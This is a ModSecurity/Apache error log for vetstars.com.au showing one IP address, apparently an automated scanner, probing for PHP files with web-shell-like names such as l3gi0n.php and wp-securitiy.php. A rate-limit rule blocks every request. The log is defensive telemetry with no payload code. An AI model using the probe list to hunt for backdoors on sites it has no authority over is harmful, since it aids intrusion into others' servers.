[Fri Dec 12 21:51:44.266950 2025] [:error] [pid 27950:tid 27952] [client 20.18.142.105:27630] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aTwd8IVLRvkrdsSc1F2pmwAAAUA"]
[Fri Dec 12 21:51:45.528112 2025] [:error] [pid 26521:tid 26579] [client 20.18.142.105:27626] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aTwd8ZdhcAPU617AKTCObQAAAIA"]
[Fri Dec 12 21:51:46.262386 2025] [:error] [pid 27950:tid 27953] [client 20.18.142.105:27644] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aTwd8oVLRvkrdsSc1F2pnAAAAUE"]
[Fri Dec 12 21:51:46.956781 2025] [:error] [pid 26521:tid 26597] [client 20.18.142.105:6105] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aTwd8pdhcAPU617AKTCOcAAAAJI"]
[Fri Dec 12 21:51:47.917676 2025] [:error] [pid 26521:tid 26593] [client 20.18.142.105:27578] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aTwd85dhcAPU617AKTCOcwAAAI4"]
[Fri Dec 12 21:51:48.645830 2025] [:error] [pid 26521:tid 26595] [client 20.18.142.105:27545] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aTwd9JdhcAPU617AKTCOdAAAAJA"]
[Fri Dec 12 21:51:49.088754 2025] [:error] [pid 26521:tid 26589] [client 20.18.142.105:27589] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTwd9ZdhcAPU617AKTCOdgAAAIo"]
[Fri Dec 12 21:51:49.467262 2025] [:error] [pid 26519:tid 26526] [client 20.18.142.105:27629] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTwd9c8TRgSGOeWqEhf7TgAAAAM"]
[Fri Dec 12 21:51:49.815073 2025] [:error] [pid 26520:tid 26563] [client 20.18.142.105:27641] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTwd9UG_frlY5vNXu_AEGAAAAEs"]
[Fri Dec 12 21:51:50.123014 2025] [:error] [pid 26521:tid 26598] [client 20.18.142.105:27543] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTwd9pdhcAPU617AKTCOdwAAAJM"]
[Fri Dec 12 21:51:50.571397 2025] [:error] [pid 27950:tid 27959] [client 20.18.142.105:27572] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aTwd9oVLRvkrdsSc1F2poAAAAUc"]
[Fri Dec 12 21:51:51.060613 2025] [:error] [pid 26521:tid 26580] [client 20.18.142.105:27619] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aTwd95dhcAPU617AKTCOeAAAAIE"]
[Fri Dec 12 21:51:51.857461 2025] [:error] [pid 26521:tid 26590] [client 20.18.142.105:6102] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aTwd95dhcAPU617AKTCOegAAAIs"]
[Fri Dec 12 21:51:52.284257 2025] [:error] [pid 26521:tid 26579] [client 20.18.142.105:27621] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aTwd-JdhcAPU617AKTCOewAAAIA"]
[Fri Dec 12 21:51:53.240334 2025] [:error] [pid 27950:tid 27965] [client 20.18.142.105:27642] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aTwd-YVLRvkrdsSc1F2powAAAU0"]
[Fri Dec 12 21:51:53.973148 2025] [:error] [pid 27950:tid 27976] [client 20.18.142.105:27544] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aTwd-YVLRvkrdsSc1F2ppQAAAVg"]
[Fri Dec 12 21:51:54.888247 2025] [:error] [pid 26521:tid 26600] [client 20.18.142.105:27643] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aTwd-pdhcAPU617AKTCOfQAAAJU"]
[Fri Dec 12 21:51:55.672295 2025] [:error] [pid 26521:tid 26589] [client 20.18.142.105:27551] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aTwd-5dhcAPU617AKTCOfwAAAIo"]
[Fri Dec 12 21:51:56.446119 2025] [:error] [pid 26521:tid 26599] [client 20.18.142.105:27554] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aTwd_JdhcAPU617AKTCOgAAAAJQ"]
[Fri Dec 12 21:51:57.124444 2025] [:error] [pid 26519:tid 26540] [client 20.18.142.105:27536] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aTwd_c8TRgSGOeWqEhf7TwAAABE"]
[Fri Dec 12 21:51:57.893502 2025] [:error] [pid 26519:tid 26531] [client 20.18.142.105:27593] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aTwd_c8TRgSGOeWqEhf7UAAAAAg"]
[Fri Dec 12 21:51:58.614352 2025] [:error] [pid 26519:tid 26544] [client 20.18.142.105:27596] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aTwd_s8TRgSGOeWqEhf7UgAAABU"]
[Fri Dec 12 21:51:59.520156 2025] [:error] [pid 60649:tid 60664] [client 20.18.142.105:27634] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aTwd_1OcUGKU3sgfHP8DGQAAAQw"]
[Fri Dec 12 21:51:59.886954 2025] [:error] [pid 26521:tid 26592] [client 20.18.142.105:27550] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aTwd_5dhcAPU617AKTCOggAAAI0"]
[Fri Dec 12 21:52:00.314225 2025] [:error] [pid 26521:tid 26594] [client 20.18.142.105:27521] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aTweAJdhcAPU617AKTCOgwAAAI8"]
[Fri Dec 12 21:52:01.048811 2025] [:error] [pid 26521:tid 26586] [client 20.18.142.105:27526] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aTweAZdhcAPU617AKTCOhQAAAIc"]
[Fri Dec 12 21:52:01.617901 2025] [:error] [pid 26520:tid 26553] [client 20.18.142.105:27612] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aTweAUG_frlY5vNXu_AEHAAAAEE"]
[Fri Dec 12 21:52:02.101340 2025] [:error] [pid 55760:tid 55772] [client 20.18.142.105:27632] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aTweAlObDQlftFDyGawd7AAAAYo"]
[Fri Dec 12 21:52:02.586186 2025] [:error] [pid 26607:tid 26624] [client 20.18.142.105:6089] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aTweAsb_b0tOEWTL2KmmhAAAAM8"]
[Fri Dec 12 21:52:02.953156 2025] [:error] [pid 26521:tid 26597] [client 20.18.142.105:27537] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aTweApdhcAPU617AKTCOiQAAAJI"]
[Fri Dec 12 21:52:03.890818 2025] [:error] [pid 26521:tid 26589] [client 20.18.142.105:27547] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aTweA5dhcAPU617AKTCOiwAAAIo"]
[Fri Dec 12 21:52:04.271928 2025] [:error] [pid 60649:tid 60670] [client 20.18.142.105:27527] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aTweBFOcUGKU3sgfHP8DIQAAARI"]
[Fri Dec 12 21:52:04.574992 2025] [:error] [pid 60649:tid 60657] [client 20.18.142.105:6138] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aTweBFOcUGKU3sgfHP8DIwAAAQU"]
[Fri Dec 12 21:52:05.365964 2025] [:error] [pid 26521:tid 26598] [client 20.18.142.105:27631] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aTweBZdhcAPU617AKTCOjgAAAJM"]
[Fri Dec 12 21:52:05.817303 2025] [:error] [pid 55760:tid 55774] [client 20.18.142.105:27557] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aTweBVObDQlftFDyGawd7gAAAYw"]
[Fri Dec 12 21:52:06.180842 2025] [:error] [pid 55760:tid 55783] [client 20.18.142.105:27534] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aTweBlObDQlftFDyGawd7wAAAZU"]
[Fri Dec 12 21:52:06.797395 2025] [:error] [pid 60649:tid 60661] [client 20.18.142.105:6121] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aTweBlOcUGKU3sgfHP8DJAAAAQk"]
[Fri Dec 12 21:52:07.198754 2025] [:error] [pid 26519:tid 26542] [client 20.18.142.105:27567] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aTweB88TRgSGOeWqEhf7VAAAABM"]
[Fri Dec 12 21:52:07.925824 2025] [:error] [pid 55760:tid 55781] [client 20.18.142.105:27609] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aTweB1ObDQlftFDyGawd8AAAAZM"]
[Fri Dec 12 21:52:08.452058 2025] [:error] [pid 26607:tid 26618] [client 20.18.142.105:6118] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aTweCMb_b0tOEWTL2KmmiAAAAMk"]
[Fri Dec 12 21:52:08.909996 2025] [:error] [pid 26521:tid 26593] [client 20.18.142.105:27523] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aTweCJdhcAPU617AKTCOlQAAAI4"]
[Fri Dec 12 21:52:09.285790 2025] [:error] [pid 60649:tid 60669] [client 20.18.142.105:27627] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aTweCVOcUGKU3sgfHP8DKAAAARE"]
[Fri Dec 12 21:52:09.881806 2025] [:error] [pid 26519:tid 26539] [client 20.18.142.105:27530] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aTweCc8TRgSGOeWqEhf7VwAAABA"]
[Fri Dec 12 21:52:10.357420 2025] [:error] [pid 26521:tid 26580] [client 20.18.142.105:27525] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aTweCpdhcAPU617AKTCOnQAAAIE"]
[Fri Dec 12 21:52:10.752708 2025] [:error] [pid 27950:tid 27974] [client 20.18.142.105:27636] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aTweCoVLRvkrdsSc1F2pqAAAAVY"]
[Fri Dec 12 21:52:11.127007 2025] [:error] [pid 26521:tid 26595] [client 20.18.142.105:6020] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aTweC5dhcAPU617AKTCOqAAAAJA"]
[Fri Dec 12 21:52:11.523781 2025] [:error] [pid 27950:tid 27964] [client 20.18.142.105:27559] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTweC4VLRvkrdsSc1F2pqQAAAUw"]
[Fri Dec 12 21:52:12.151398 2025] [:error] [pid 55760:tid 55778] [client 20.18.142.105:27616] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTweDFObDQlftFDyGawd8QAAAZA"]
[Fri Dec 12 21:52:12.569125 2025] [:error] [pid 55760:tid 55766] [client 20.18.142.105:5956] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTweDFObDQlftFDyGawd8gAAAYQ"]
[Fri Dec 12 21:52:12.900078 2025] [:error] [pid 55760:tid 55763] [client 20.18.142.105:27574] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTweDFObDQlftFDyGawd8wAAAYE"]
[Fri Dec 12 21:52:13.327898 2025] [:error] [pid 26521:tid 26592] [client 20.18.142.105:6022] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTweDZdhcAPU617AKTCOuwAAAI0"]
[Fri Dec 12 21:52:14.901930 2025] [:error] [pid 27950:tid 27958] [client 20.18.142.105:6090] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTweDoVLRvkrdsSc1F2pqgAAAUY"]
[Fri Dec 12 21:52:16.006649 2025] [:error] [pid 55760:tid 55776] [client 20.18.142.105:6092] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTweEFObDQlftFDyGawd9gAAAY4"]
[Fri Dec 12 21:52:16.791429 2025] [:error] [pid 55760:tid 55767] [client 20.18.142.105:27588] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTweEFObDQlftFDyGawd9wAAAYU"]
[Fri Dec 12 21:52:17.494455 2025] [:error] [pid 55760:tid 55779] [client 20.18.142.105:27555] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aTweEVObDQlftFDyGawd-AAAAZE"]
[Fri Dec 12 21:52:18.455076 2025] [:error] [pid 26520:tid 26561] [client 20.18.142.105:27556] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aTweEkG_frlY5vNXu_AEIgAAAEk"]
[Fri Dec 12 21:52:19.140420 2025] [:error] [pid 55760:tid 55777] [client 20.18.142.105:27625] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aTweE1ObDQlftFDyGawd_QAAAY8"]
